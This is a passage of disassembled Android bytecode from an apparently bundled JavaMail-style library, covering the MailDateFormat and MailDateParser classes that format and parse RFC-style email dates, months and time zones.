00000088 const-string v3, " "
0000008C invoke-virtual StringBuilder->append(String)StringBuilder, v4, v3
00000092 move-result-object v3
00000094 invoke-virtual StringBuilder->append(String)StringBuilder, v3, p2
0000009A move-result-object v3
0000009C invoke-virtual StringBuilder->toString()String, v3
000000A2 move-result-object v3
000000A4 iput-object v3, v0, InternetHeaders$InternetHeader->line:String
:A8
000000A8 const/4 v3, 0x1
000000AA move v0, v1
000000AC move v1, v3
:AE
000000AE add-int/lit8 v0, v0, 0x1
000000B2 move v3, v1
000000B4 move v1, v0
000000B6 goto :6
:B8
000000B8 new-instance v3, StringBuilder
000000BC invoke-static String->valueOf(Object)String, p1
000000C2 move-result-object v4
000000C4 invoke-direct StringBuilder-><init>(String)V, v3, v4
000000CA const-string v4, ": "
000000CE invoke-virtual StringBuilder->append(String)StringBuilder, v3, v4
000000D4 move-result-object v3
000000D6 invoke-virtual StringBuilder->append(String)StringBuilder, v3, p2
000000DC move-result-object v3
000000DE invoke-virtual StringBuilder->toString()String, v3
000000E4 move-result-object v3
000000E6 iput-object v3, v0, InternetHeaders$InternetHeader->line:String
000000EA goto :A8
:EC
000000EC iget-object v0, p0, InternetHeaders->headers:List
000000F0 invoke-interface List->remove(I)Object, v0, v1
000000F6 add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
000000FA move v0, v1
000000FC move v1, v3
000000FE goto :AE
:100
00000100 move v0, v1
00000102 move v1, v3
00000104 goto :AE
.end method
#--------------------------------------------------------------------------------
.class public MailDateFormat
.super SimpleDateFormat
.source ""
.field private static cal:Calendar = null
.field static debug:Z = false
.field private static final serialVersionUID:J = 0x8EEBAE2A0A637D55L
.field private static tz:TimeZone
.method static constructor <clinit>()V
.registers 2
00000000 const/4 v0, 0x0
00000002 sput-boolean v0, MailDateFormat->debug:Z
00000006 const-string v0, "GMT"
0000000A invoke-static TimeZone->getTimeZone(String)TimeZone, v0
00000010 move-result-object v0
00000012 sput-object v0, MailDateFormat->tz:TimeZone
00000016 new-instance v0, GregorianCalendar
0000001A sget-object v1, MailDateFormat->tz:TimeZone
0000001E invoke-direct GregorianCalendar-><init>(TimeZone)V, v0, v1
00000024 sput-object v0, MailDateFormat->cal:Calendar
00000028 return-void
.end method
.method public constructor <init>()V
.registers 3
00000000 const-string v0, "EEE, d MMM yyyy HH:mm:ss \'XXXXX\' (z)"
00000004 sget-object v1, Locale->US:Locale
00000008 invoke-direct SimpleDateFormat-><init>(String, Locale)V, p0, v0, v1
0000000E return-void
.end method
.method private static declared-synchronized ourUTC(I, I, I, I, I, I, I, Z)Date
.registers 12
00000000 const-class v1, MailDateFormat
00000004 monitor-enter v1
:6
00000006 sget-object v0, MailDateFormat->cal:Calendar
0000000A invoke-virtual Calendar->clear()V, v0
00000010 sget-object v0, MailDateFormat->cal:Calendar
00000014 invoke-virtual Calendar->setLenient(Z)V, v0, p7
0000001A sget-object v0, MailDateFormat->cal:Calendar
0000001E const/4 v2, 0x1
00000020 invoke-virtual Calendar->set(I, I)V, v0, v2, p0
00000026 sget-object v0, MailDateFormat->cal:Calendar
0000002A const/4 v2, 0x2
0000002C invoke-virtual Calendar->set(I, I)V, v0, v2, p1
00000032 sget-object v0, MailDateFormat->cal:Calendar
00000036 const/4 v2, 0x5
00000038 invoke-virtual Calendar->set(I, I)V, v0, v2, p2
0000003E sget-object v0, MailDateFormat->cal:Calendar
00000042 const/16 v2, 0xB
00000046 invoke-virtual Calendar->set(I, I)V, v0, v2, p3
0000004C sget-object v0, MailDateFormat->cal:Calendar
00000050 const/16 v2, 0xC
00000054 add-int v3, p4, p6
00000058 invoke-virtual Calendar->set(I, I)V, v0, v2, v3
0000005E sget-object v0, MailDateFormat->cal:Calendar
00000062 const/16 v2, 0xD
00000066 invoke-virtual Calendar->set(I, I)V, v0, v2, p5
0000006C sget-object v0, MailDateFormat->cal:Calendar
00000070 invoke-virtual Calendar->getTime()Date, v0
:76
00000076 move-result-object v0
00000078 monitor-exit v1
0000007A return-object v0
:7C
0000007C move-exception v0
0000007E monitor-exit v1
00000080 throw v0
.catchall {:6 .. :76} :7C
.end method
.method private static parseDate([C, ParsePosition, Z)Date
.registers 14
00000000 const/4 v6, 0x0
:2
00000002 new-instance v7, MailDateParser
00000006 invoke-direct MailDateParser-><init>([C)V, v7, p0
0000000C invoke-virtual MailDateParser->skipUntilNumber()V, v7
00000012 invoke-virtual MailDateParser->parseNumber()I, v7
00000018 move-result v2
0000001A const/16 v0, 0x2D
0000001E invoke-virtual MailDateParser->skipIfChar(C)Z, v7, v0
00000024 move-result v0
00000026 if-nez v0, :30
:2A
0000002A invoke-virtual MailDateParser->skipWhiteSpace()V, v7
:30
00000030 invoke-virtual MailDateParser->parseMonth()I, v7
00000036 move-result v1
00000038 const/16 v0, 0x2D
0000003C invoke-virtual MailDateParser->skipIfChar(C)Z, v7, v0
00000042 move-result v0
00000044 if-nez v0, :4E
:48
00000048 invoke-virtual MailDateParser->skipWhiteSpace()V, v7
:4E
0000004E invoke-virtual MailDateParser->parseNumber()I, v7
00000054 move-result v0
00000056 const/16 v3, 0x32
0000005A if-ge v0, v3, :C2
:5E
0000005E add-int/lit16 v0, v0, 0x7D0
:62
00000062 invoke-virtual MailDateParser->skipWhiteSpace()V, v7
00000068 invoke-virtual MailDateParser->parseNumber()I, v7
0000006E move-result v3
00000070 const/16 v4, 0x3A
00000074 invoke-virtual MailDateParser->skipChar(C)V, v7, v4
0000007A invoke-virtual MailDateParser->parseNumber()I, v7
00000080 move-result v4
00000082 const/16 v5, 0x3A
00000086 invoke-virtual MailDateParser->skipIfChar(C)Z, v7, v5
0000008C move-result v5
0000008E if-eqz v5, :174
:92
00000092 invoke-virtual MailDateParser->parseNumber()I, v7
:98
00000098 move-result v5
:9A
0000009A invoke-virtual MailDateParser->skipWhiteSpace()V, v7
000000A0 invoke-virtual MailDateParser->parseTimeZone()I, v7
:A6
000000A6 move-result v6
:A8
000000A8 invoke-virtual MailDateParser->getIndex()I, v7
000000AE move-result v7
000000B0 invoke-virtual ParsePosition->setIndex(I)V, p1, v7
000000B6 move v7, p2
000000B8 invoke-static/range MailDateFormat->ourUTC(I, I, I, I, I, I, I, Z)Date, v0 .. v7
000000BE move-result-object v0
:C0
000000C0 return-object v0
:C2
000000C2 const/16 v3, 0x64
000000C6 if-ge v0, v3, :62
:CA
000000CA add-int/lit16 v0, v0, 0x76C
000000CE goto :62
:D0
000000D0 move-exception v8
000000D2 sget-boolean v8, MailDateFormat->debug:Z
000000D6 if-eqz v8, :A8
:DA
000000DA sget-object v8, System->out:PrintStream
000000DE new-instance v9, StringBuilder
000000E2 const-string v10, "No timezone? : \'"
000000E6 invoke-direct StringBuilder-><init>(String)V, v9, v10
000000EC new-instance v10, String
000000F0 invoke-direct String-><init>([C)V, v10, p0
000000F6 invoke-virtual StringBuilder->append(String)StringBuilder, v9, v10
000000FC move-result-object v9
000000FE const-string v10, "\'"
00000102 invoke-virtual StringBuilder->append(String)StringBuilder, v9, v10
00000108 move-result-object v9
0000010A invoke-virtual StringBuilder->toString()String, v9
00000110 move-result-object v9
00000112 invoke-virtual PrintStream->println(String)V, v8, v9
:118
00000118 goto :A8
:11A
0000011A move-exception v0
0000011C sget-boolean v1, MailDateFormat->debug:Z
00000120 if-eqz v1, :168
:124
00000124 sget-object v1, System->out:PrintStream
00000128 new-instance v2, StringBuilder
0000012C const-string v3, "Bad date: \'"
00000130 invoke-direct StringBuilder-><init>(String)V, v2, v3
00000136 new-instance v3, String
0000013A invoke-direct String-><init>([C)V, v3, p0
00000140 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
00000146 move-result-object v2
00000148 const-string v3, "\'"
0000014C invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
00000152 move-result-object v2
00000154 invoke-virtual StringBuilder->toString()String, v2
0000015A move-result-object v2
0000015C invoke-virtual PrintStream->println(String)V, v1, v2
00000162 invoke-virtual Exception->printStackTrace()V, v0
:168
00000168 const/4 v0, 0x1
0000016A invoke-virtual ParsePosition->setIndex(I)V, p1, v0
00000170 const/4 v0, 0x0
00000172 goto :C0
:174
00000174 move v5, v6
00000176 goto :9A
.catch Exception {:2 .. :98} :11A
.catch ParseException {:9A .. :A6} :D0
.catch Exception {:9A .. :A6} :11A
.catch Exception {:A8 .. :118} :11A
.end method
.method public format(Date, StringBuffer, FieldPosition)StringBuffer
.registers 10
00000000 const/16 v5, 0xA
00000004 invoke-virtual StringBuffer->length()I, p2
0000000A move-result v0
0000000C invoke-super SimpleDateFormat->format(Date, StringBuffer, FieldPosition)StringBuffer, p0, p1, p2, p3
00000012 add-int/lit8 v0, v0, 0x19
:16
00000016 invoke-virtual StringBuffer->charAt(I)C, p2, v0
0000001C move-result v1
0000001E const/16 v2, 0x58
00000022 if-ne v1, v2, :DC
:26
00000026 iget-object v1, p0, MailDateFormat->calendar:Calendar
0000002A invoke-virtual Calendar->clear()V, v1
00000030 iget-object v1, p0, MailDateFormat->calendar:Calendar
00000034 invoke-virtual Calendar->setTime(Date)V, v1, p1
0000003A iget-object v1, p0, MailDateFormat->calendar:Calendar
0000003E const/16 v2, 0xF
00000042 invoke-virtual Calendar->get(I)I, v1, v2
00000048 move-result v1
0000004A iget-object v2, p0, MailDateFormat->calendar:Calendar
0000004E const/16 v3, 0x10
00000052 invoke-virtual Calendar->get(I)I, v2, v3
00000058 move-result v2
0000005A add-int/2addr v1, v2
0000005C if-gez v1, :E2
:60
00000060 add-int/lit8 v2, v0, 0x1
00000064 const/16 v3, 0x2D
00000068 invoke-virtual StringBuffer->setCharAt(I, C)V, p2, v0, v3
0000006E neg-int v0, v1
00000070 move v1, v2
:72
00000072 div-int/lit8 v0, v0, 0x3C
00000076 div-int/lit16 v0, v0, 0x3E8
0000007A div-int/lit8 v2, v0, 0x3C
0000007E rem-int/lit8 v0, v0, 0x3C
00000082 add-int/lit8 v3, v1, 0x1
00000086 div-int/lit8 v4, v2, 0xA
0000008A invoke-static Character->forDigit(I, I)C, v4, v5
00000090 move-result v4
00000092 invoke-virtual StringBuffer->setCharAt(I, C)V, p2, v1, v4
00000098 add-int/lit8 v1, v3, 0x1
0000009C rem-int/lit8 v2, v2, 0xA
000000A0 invoke-static Character->forDigit(I, I)C, v2, v5
000000A6 move-result v2
000000A8 invoke-virtual StringBuffer->setCharAt(I, C)V, p2, v3, v2
000000AE add-int/lit8 v2, v1, 0x1
000000B2 div-int/lit8 v3, v0, 0xA
000000B6 invoke-static Character->forDigit(I, I)C, v3, v5
000000BC move-result v3
000000BE invoke-virtual StringBuffer->setCharAt(I, C)V, p2, v1, v3
000000C4 add-int/lit8 v1, v2, 0x1
000000C8 rem-int/lit8 v0, v0, 0xA
000000CC invoke-static Character->forDigit(I, I)C, v0, v5
000000D2 move-result v0
000000D4 invoke-virtual StringBuffer->setCharAt(I, C)V, p2, v2, v0
000000DA return-object p2
:DC
000000DC add-int/lit8 v0, v0, 0x1
000000E0 goto :16
:E2
000000E2 add-int/lit8 v2, v0, 0x1
000000E6 const/16 v3, 0x2B
000000EA invoke-virtual StringBuffer->setCharAt(I, C)V, p2, v0, v3
000000F0 move v0, v1
000000F2 move v1, v2
000000F4 goto :72
.end method
.method public parse(String, ParsePosition)Date
.registers 5
00000000 invoke-virtual String->toCharArray()[C, p1
00000006 move-result-object v0
00000008 invoke-virtual MailDateFormat->isLenient()Z, p0
0000000E move-result v1
00000010 invoke-static MailDateFormat->parseDate([C, ParsePosition, Z)Date, v0, p2, v1
00000016 move-result-object v0
00000018 return-object v0
.end method
.method public setCalendar(Calendar)V
.registers 4
00000000 new-instance v0, RuntimeException
00000004 const-string v1, "Method setCalendar() shouldn\'t be called"
00000008 invoke-direct RuntimeException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public setNumberFormat(NumberFormat)V
.registers 4
00000000 new-instance v0, RuntimeException
00000004 const-string v1, "Method setNumberFormat() shouldn\'t be called"
00000008 invoke-direct RuntimeException-><init>(String)V, v0, v1
0000000E throw v0
.end method
#--------------------------------------------------------------------------------
.class MailDateParser
.super Object
.source ""
.field index:I
.field orig:[C
.method public constructor <init>([C)V
.registers 3
00000000 invoke-direct Object-><init>()V, p0
00000006 const/4 v0, 0x0
00000008 iput v0, p0, MailDateParser->index:I
0000000C const/4 v0, 0x0
0000000E iput-object v0, p0, MailDateParser->orig:[C
00000012 iput-object p1, p0, MailDateParser->orig:[C
00000016 return-void
.end method
.method getIndex()I
.registers 2
00000000 iget v0, p0, MailDateParser->index:I
00000004 return v0
.end method
.method public parseAlphaTimeZone()I
.registers 8
00000000 const/4 v0, 0x0
00000002 const/16 v6, 0x74
00000006 const/16 v5, 0x54
0000000A const/4 v1, 0x1
:C
0000000C iget-object v2, p0, MailDateParser->orig:[C
00000010 iget v3, p0, MailDateParser->index:I
00000014 add-int/lit8 v4, v3, 0x1
00000018 iput v4, p0, MailDateParser->index:I
0000001C aget-char v2, v2, v3
00000020 sparse-switch v2, :190
:26
00000026 new-instance v0, ParseException
0000002A const-string v1, "Bad Alpha TimeZone"
0000002E iget v2, p0, MailDateParser->index:I
00000032 invoke-direct ParseException-><init>(String, I)V, v0, v1, v2
00000038 throw v0
:3A
0000003A move-exception v0
0000003C new-instance v0, ParseException
00000040 const-string v1, "Bad Alpha TimeZone"
00000044 iget v2, p0, MailDateParser->index:I
00000048 invoke-direct ParseException-><init>(String, I)V, v0, v1, v2
0000004E throw v0
:50
00000050 iget-object v1, p0, MailDateParser->orig:[C
00000054 iget v2, p0, MailDateParser->index:I
00000058 add-int/lit8 v3, v2, 0x1
0000005C iput v3, p0, MailDateParser->index:I
00000060 aget-char v1, v1, v2
:64
00000064 if-eq v1, v5, :6C
:68
00000068 if-ne v1, v6, :C6
:6C
0000006C move v1, v0
:6E
0000006E if-eqz v1, :17A
:72
00000072 iget-object v1, p0, MailDateParser->orig:[C
00000076 iget v2, p0, MailDateParser->index:I
0000007A add-int/lit8 v3, v2, 0x1
0000007E iput v3, p0, MailDateParser->index:I
00000082 aget-char v1, v1, v2
00000086 const/16 v2, 0x53
0000008A if-eq v1, v2, :96
:8E
0000008E const/16 v2, 0x73
00000092 if-ne v1, v2, :14A
:96
00000096 iget-object v1, p0, MailDateParser->orig:[C
0000009A iget v2, p0, MailDateParser->index:I
0000009E add-int/lit8 v3, v2, 0x1
000000A2 iput v3, p0, MailDateParser->index:I
000000A6 aget-char v1, v1, v2
000000AA if-eq v1, v5, :17A
:AE
000000AE if-eq v1, v6, :17A
:B2
000000B2 new-instance v0, ParseException
000000B6 const-string v1, "Bad Alpha TimeZone"
000000BA iget v2, p0, MailDateParser->index:I
000000BE invoke-direct ParseException-><init>(String, I)V, v0, v1, v2
000000C4 throw v0
:C6
000000C6 new-instance v0, ParseException
000000CA const-string v1, "Bad Alpha TimeZone"
000000CE iget v2, p0, MailDateParser->index:I
000000D2 invoke-direct ParseException-><init>(String, I)V, v0, v1, v2
000000D8 throw v0
:DA
000000DA iget-object v1, p0, MailDateParser->orig:[C
000000DE iget v2, p0, MailDateParser->index:I
000000E2 add-int/lit8 v3, v2, 0x1
000000E6 iput v3, p0, MailDateParser->index:I
000000EA aget-char v1, v1, v2
000000EE const/16 v2, 0x4D
000000F2 if-eq v1, v2, :FE
:F6
000000F6 const/16 v2, 0x6D
000000FA if-ne v1, v2, :11E
:FE
000000FE iget-object v1, p0, MailDateParser->orig:[C
00000102 iget v2, p0, MailDateParser->index:I
00000106 add-int/lit8 v3, v2, 0x1
0000010A iput v3, p0, MailDateParser->index:I
0000010E aget-char v1, v1, v2
00000112 if-eq v1, v5, :11A
:116
00000116 if-ne v1, v6, :11E
:11A
0000011A move v1, v0
0000011C goto :6E
:11E
0000011E new-instance v0, ParseException
00000122 const-string v1, "Bad Alpha TimeZone"
00000126 iget v2, p0, MailDateParser->index:I
0000012A invoke-direct ParseException-><init>(String, I)V, v0, v1, v2
00000130 throw v0
:132
00000132 const/16 v0, 0x12C
00000136 goto :6E
:138
00000138 const/16 v0, 0x168
0000013C goto :6E
:13E
0000013E const/16 v0, 0x1A4
00000142 goto :6E
:144
00000144 const/16 v0, 0x1E0
00000148 goto :6E
:14A
0000014A const/16 v2, 0x44
0000014E if-eq v1, v2, :15A
:152
00000152 const/16 v2, 0x64
00000156 if-ne v1, v2, :17A
:15A
0000015A iget-object v1, p0, MailDateParser->orig:[C
0000015E iget v2, p0, MailDateParser->index:I
00000162 add-int/lit8 v3, v2, 0x1
00000166 iput v3, p0, MailDateParser->index:I
0000016A aget-char v1, v1, v2
0000016E if-eq v1, v5, :176
:172
00000172 if-eq v1, v6, :17C
:176
00000176 add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFC4
:17A
0000017A return v0
:17C
0000017C new-instance v0, ParseException
00000180 const-string v1, "Bad Alpha TimeZone"
00000184 iget v2, p0, MailDateParser->index:I
00000188 invoke-direct ParseException-><init>(String, I)V, v0, v1, v2
0000018E throw v0
.catch ArrayIndexOutOfBoundsException {:C .. :3A} :3A
.catch ArrayIndexOutOfBoundsException {:50 .. :64} :3A
.catch ArrayIndexOutOfBoundsException {:C6 .. :132} :3A
00000190 .sparse-switch
0x43 -> :138
0x45 -> :132
0x47 -> :DA
0x4D -> :13E
0x50 -> :144
0x55 -> :50
0x63 -> :138
0x65 -> :132
0x67 -> :DA
0x6D -> :13E
0x70 -> :144
0x75 -> :50
.end sparse-switch
.end method
.method public parseMonth()I
.registers 9
00000000 const/16 v7, 0x50
00000004 const/16 v6, 0x4E
00000008 const/16 v5, 0x43
0000000C const/16 v4, 0x65
00000010 const/16 v3, 0x45
:14
00000014 iget-object v0, p0, MailDateParser->orig:[C
00000018 iget v1, p0, MailDateParser->index:I
0000001C add-int/lit8 v2, v1, 0x1
00000020 iput v2, p0, MailDateParser->index:I
00000024 aget-char v0, v0, v1
:28
00000028 sparse-switch v0, :30C
:2E
0000002E new-instance v0, ParseException
00000032 const-string v1, "Bad Month"
00000036 iget v2, p0, MailDateParser->index:I
0000003A invoke-direct ParseException-><init>(String, I)V, v0, v1, v2
00000040 throw v0
:42
00000042 iget-object v0, p0, MailDateParser->orig:[C
00000046 iget v1, p0, MailDateParser->index:I
0000004A add-int/lit8 v2, v1, 0x1
0000004E iput v2, p0, MailDateParser->index:I
00000052 aget-char v0, v0, v1
00000056 sparse-switch v0, :390
:5C
0000005C goto :2E
:5E
0000005E iget-object v0, p0, MailDateParser->orig:[C
00000062 iget v1, p0, MailDateParser->index:I
00000066 add-int/lit8 v2, v1, 0x1
0000006A iput v2, p0, MailDateParser->index:I
0000006E aget-char v0, v0, v1
00000072 if-eq v0, v6, :7E
:76
00000076 const/16 v1, 0x6E
0000007A if-ne v0, v1, :2E
:7E
0000007E const/4 v0, 0x0
:80
00000080 return v0
:82
00000082 iget-object v0, p0, MailDateParser->orig:[C
00000086 iget v1, p0, MailDateParser->index:I
0000008A add-int/lit8 v2, v1, 0x1
0000008E iput v2, p0, MailDateParser->index:I
00000092 aget-char v0, v0, v1
00000096 if-eq v0, v6, :A2
:9A
0000009A const/16 v1, 0x6E
0000009E if-ne v0, v1, :A6
:A2
000000A2 const/4 v0, 0x5
000000A4 goto :80
:A6
000000A6 const/16 v1, 0x4C
000000AA if-eq v0, v1, :B6
:AE
000000AE const/16 v1, 0x6C
000000B2 if-ne v0, v1, :2E
:B6
000000B6 const/4 v0, 0x6
000000B8 goto :80
:BA
000000BA iget-object v0, p0, MailDateParser->orig:[C
000000BE iget v1, p0, MailDateParser->index:I
000000C2 add-int/lit8 v2, v1, 0x1
000000C6 iput v2, p0, MailDateParser->index:I
000000CA aget-char v0, v0, v1
000000CE if-eq v0, v3, :D6
:D2
000000D2 if-ne v0, v4, :2E
:D6
000000D6 iget-object v0, p0, MailDateParser->orig:[C
000000DA iget v1, p0, MailDateParser->index:I
000000DE add-int/lit8 v2, v1, 0x1
000000E2 iput v2, p0, MailDateParser->index:I
000000E6 aget-char v0, v0, v1
000000EA const/16 v1, 0x42
000000EE if-eq v0, v1, :FA
:F2
000000F2 const/16 v1, 0x62
000000F6 if-ne v0, v1, :2E
:FA
000000FA const/4 v0, 0x1
000000FC goto :80
:FE
000000FE iget-object v0, p0, MailDateParser->orig:[C
00000102 iget v1, p0, MailDateParser->index:I
00000106 add-int/lit8 v2, v1, 0x1
0000010A iput v2, p0, MailDateParser->index:I
0000010E aget-char v0, v0, v1
00000112 const/16 v1, 0x41
00000116 if-eq v0, v1, :122
:11A
0000011A const/16 v1, 0x61
0000011E if-ne v0, v1, :2E
:122
00000122 iget-object v0, p0, MailDateParser->orig:[C
00000126 iget v1, p0, MailDateParser->index:I
0000012A add-int/lit8 v2, v1, 0x1
0000012E iput v2, p0, MailDateParser->index:I
00000132 aget-char v0, v0, v1
00000136 const/16 v1, 0x52
0000013A if-eq v0, v1, :146
:13E
0000013E const/16 v1, 0x72
00000142 if-ne v0, v1, :14A
:146
00000146 const/4 v0, 0x2
00000148 goto :80
:14A
0000014A const/16 v1, 0x59
0000014E if-eq v0, v1, :15A
:152
00000152 const/16 v1, 0x79
00000156 if-ne v0, v1, :2E
:15A
0000015A const/4 v0, 0x4
0000015C goto :80
:15E
0000015E iget-object v0, p0, MailDateParser->orig:[C
00000162 iget v1, p0, MailDateParser->index:I
00000166 add-int/lit8 v2, v1, 0x1
0000016A iput v2, p0, MailDateParser->index:I
0000016E aget-char v0, v0, v1
00000172 if-eq v0, v7, :17E
:176
00000176 const/16 v1, 0x70
0000017A if-ne v0, v1, :1A8
:17E
0000017E iget-object v0, p0, MailDateParser->orig:[C
00000182 iget v1, p0, MailDateParser->index:I
00000186 add-int/lit8 v2, v1, 0x1
0000018A iput v2, p0, MailDateParser->index:I
0000018E aget-char v0, v0, v1
00000192 const/16 v1, 0x52
00000196 if-eq v0, v1, :1A2
:19A
0000019A const/16 v1, 0x72
0000019E if-ne v0, v1, :2E
:1A2
000001A2 const/4 v0, 0x3
000001A4 goto/16 :80
:1A8
000001A8 const/16 v1, 0x55
000001AC if-eq v0, v1, :1B8
:1B0
000001B0 const/16 v1, 0x75
000001B4 if-ne v0, v1, :2E
:1B8
000001B8 iget-object v0, p0, MailDateParser->orig:[C
000001BC iget v1, p0, MailDateParser->index:I
000001C0 add-int/lit8 v2, v1, 0x1
000001C4 iput v2, p0, MailDateParser->index:I
000001C8 aget-char v0, v0, v1
000001CC const/16 v1, 0x47
000001D0 if-eq v0, v1, :1DC
:1D4
000001D4 const/16 v1, 0x67
000001D8 if-ne v0, v1, :2E
:1DC
000001DC const/4 v0, 0x7
000001DE goto/16 :80
:1E2
000001E2 iget-object v0, p0, MailDateParser->orig:[C
000001E6 iget v1, p0, MailDateParser->index:I
000001EA add-int/lit8 v2, v1, 0x1
000001EE iput v2, p0, MailDateParser->index:I
000001F2 aget-char v0, v0, v1
000001F6 if-eq v0, v3, :1FE
:1FA
000001FA if-ne v0, v4, :2E
:1FE
000001FE iget-object v0, p0, MailDateParser->orig:[C
00000202 iget v1, p0, MailDateParser->index:I
00000206 add-int/lit8 v2, v1, 0x1
0000020A iput v2, p0, MailDateParser->index:I
0000020E aget-char v0, v0, v1
00000212 if-eq v0, v7, :21E
:216
00000216 const/16 v1, 0x70
0000021A if-ne v0, v1, :2E
:21E
0000021E const/16 v0, 0x8
00000222 goto/16 :80
:226
00000226 iget-object v0, p0, MailDateParser->orig:[C
0000022A iget v1, p0, MailDateParser->index:I
0000022E add-int/lit8 v2, v1, 0x1
00000232 iput v2, p0, MailDateParser->index:I
00000236 aget-char v0, v0, v1
0000023A if-eq v0, v5, :246
:23E
0000023E const/16 v1, 0x63
00000242 if-ne v0, v1, :2E
:246
00000246 iget-object v0, p0, MailDateParser->orig:[C
0000024A iget v1, p0, MailDateParser->index:I
0000024E add-int/lit8 v2, v1, 0x1
00000252 iput v2, p0, MailDateParser->index:I
00000256 aget-char v0, v0, v1
0000025A const/16 v1, 0x54
0000025E if-eq v0, v1, :26A
:262
00000262 const/16 v1, 0x74
00000266 if-ne v0, v1, :2E
:26A
0000026A const/16 v0, 0x9
0000026E goto/16 :80
:272
00000272 iget-object v0, p0, MailDateParser->orig:[C
00000276 iget v1, p0, MailDateParser->index:I
0000027A add-int/lit8 v2, v1, 0x1
0000027E iput v2, p0, MailDateParser->index:I
00000282 aget-char v0, v0, v1
00000286 const/16 v1, 0x4F
0000028A if-eq v0, v1, :296
:28E
0000028E const/16 v1, 0x6F
00000292 if-ne v0, v1, :2E
:296
00000296 iget-object v0, p0, MailDateParser->orig:[C
0000029A iget v1, p0, MailDateParser->index:I
0000029E add-int/lit8 v2, v1, 0x1
000002A2 iput v2, p0, MailDateParser->index:I
000002A6 aget-char v0, v0, v1
000002AA const/16 v1, 0x56
000002AE if-eq v0, v1, :2BA
:2B2
000002B2 const/16 v1, 0x76
000002B6 if-ne v0, v1, :2E
:2BA
000002BA const/16 v0, 0xA
000002BE goto/16 :80
:2C2
000002C2 iget-object v0, p0, MailDateParser->orig:[C
000002C6 iget v1, p0, MailDateParser->index:I
000002CA add-int/lit8 v2, v1, 0x1
000002CE iput v2, p0, MailDateParser->index:I
000002D2 aget-char v0, v0, v1
000002D6 if-eq v0, v3, :2DE
:2DA
000002DA if-ne v0, v4, :2E
:2DE
000002DE iget-object v0, p0, MailDateParser->orig:[C
000002E2 iget v1, p0, MailDateParser->index:I
000002E6 add-int/lit8 v2, v1, 0x1
000002EA iput v2, p0, MailDateParser->index:I
000002EE aget-char v0, v0, v1
:2F2
000002F2 if-eq v0, v5, :2FE
:2F6
000002F6 const/16 v1, 0x63
000002FA if-ne v0, v1, :2E
:2FE
000002FE const/16 v0, 0xB
00000302 goto/16 :80
:306
00000306 move-exception v0
00000308 goto/16 :2E
.catch ArrayIndexOutOfBoundsException {:14 .. :28} :306
.catch ArrayIndexOutOfBoundsException {:42 .. :2F2} :306
0000030C .sparse-switch
0x41 -> :15E
0x44 -> :2C2
0x46 -> :BA
0x4A -> :42
0x4D -> :FE
0x4E -> :272
0x4F -> :226
0x53 -> :1E2
0x61 -> :15E
0x64 -> :2C2
0x66 -> :BA
0x6A -> :42
0x6D -> :FE
0x6E -> :272
0x6F -> :226
0x73 -> :1E2
.end sparse-switch
00000390 .sparse-switch
0x41 -> :5E
0x55 -> :82
0x61 -> :5E
0x75 -> :82
.end sparse-switch
.end method
.method public parseNumber()I
.registers 7
00000000 const/4 v0, 0x0
00000002 const/4 v2, 0x1
00000004 iget-object v1, p0, MailDateParser->orig:[C
00000008 array-length v3, v1
0000000A move v1, v0
:C
0000000C iget v4, p0, MailDateParser->index:I
00000010 if-lt v4, v3, :1A
:14
00000014 if-eqz v1, :B2
:18
00000018 return v0
:1A
0000001A iget-object v4, p0, MailDateParser->orig:[C
0000001E iget v5, p0, MailDateParser->index:I
00000022 aget-char v4, v4, v5
00000026 packed-switch v4, :C8
:2C
0000002C if-nez v1, :18
:30
00000030 new-instance v0, ParseException
00000034 const-string v1, "No Number found"
00000038 iget v2, p0, MailDateParser->index:I
0000003C invoke-direct ParseException-><init>(String, I)V, v0, v1, v2
00000042 throw v0
:44
00000044 mul-int/lit8 v0, v0, 0xA
:48
00000048 iget v1, p0, MailDateParser->index:I
0000004C add-int/lit8 v1, v1, 0x1
00000050 iput v1, p0, MailDateParser->index:I
00000054 move v1, v2
00000056 goto :C
:58
00000058 mul-int/lit8 v0, v0, 0xA
0000005C add-int/lit8 v0, v0, 0x1
00000060 goto :48
:62
00000062 mul-int/lit8 v0, v0, 0xA
00000066 add-int/lit8 v0, v0, 0x2
0000006A goto :48
:6C
0000006C mul-int/lit8 v0, v0, 0xA
00000070 add-int/lit8 v0, v0, 0x3
00000074 goto :48
:76
00000076 mul-int/lit8 v0, v0, 0xA
0000007A add-int/lit8 v0, v0, 0x4
0000007E goto :48
:80
00000080 mul-int/lit8 v0, v0, 0xA
00000084 add-int/lit8 v0, v0, 0x5
00000088 goto :48
:8A
0000008A mul-int/lit8 v0, v0, 0xA
0000008E add-int/lit8 v0, v0, 0x6
00000092 goto :48
:94
00000094 mul-int/lit8 v0, v0, 0xA
00000098 add-int/lit8 v0, v0, 0x7
0000009C goto :48
:9E
0000009E mul-int/lit8 v0, v0, 0xA
000000A2 add-int/lit8 v0, v0, 0x8
000000A6 goto :48
:A8
000000A8 mul-int/lit8 v0, v0, 0xA
000000AC add-int/lit8 v0, v0, 0x9
000000B0 goto :48
:B2
000000B2 new-instance v0, ParseException
000000B6 const-string v1, "No Number found"
000000BA iget v2, p0, MailDateParser->index:I
000000BE invoke-direct ParseException-><init>(String, I)V, v0, v1, v2
000000C4 throw v0
000000C8 .packed-switch 0x30
:44
:58
:62
:6C
:76
:80
:8A
:94
:9E
:A8
.end packed-switch
.end method
.method public parseNumericTimeZone()I
.registers 5
00000000 const/4 v0, 0x0
00000002 iget-object v1, p0, MailDateParser->orig:[C
00000006 iget v2, p0, MailDateParser->index:I
0000000A add-int/lit8 v3, v2, 0x1
0000000E iput v3, p0, MailDateParser->index:I
00000012 aget-char v1, v1, v2
00000016 const/16 v2, 0x2B
0000001A if-ne v1, v2, :3E
:1E
0000001E const/4 v0, 0x1
:20
00000020 invoke-virtual MailDateParser->parseNumber()I, p0
00000026 move-result v1
00000028 div-int/lit8 v2, v1, 0x64
0000002C mul-int/lit8 v2, v2, 0x3C
00000030 rem-int/lit8 v1, v1, 0x64
00000034 add-int/2addr v1, v2
00000036 if-eqz v0, :5A
:3A
0000003A neg-int v0, v1
:3C
0000003C return v0
:3E
0000003E const/16 v2, 0x2D
00000042 if-eq v1, v2, :20
:46
00000046 new-instance v0, ParseException
0000004A const-string v1, "Bad Numeric TimeZone"
0000004E iget v2, p0, MailDateParser->index:I
00000052 invoke-direct ParseException-><init>(String, I)V, v0, v1, v2
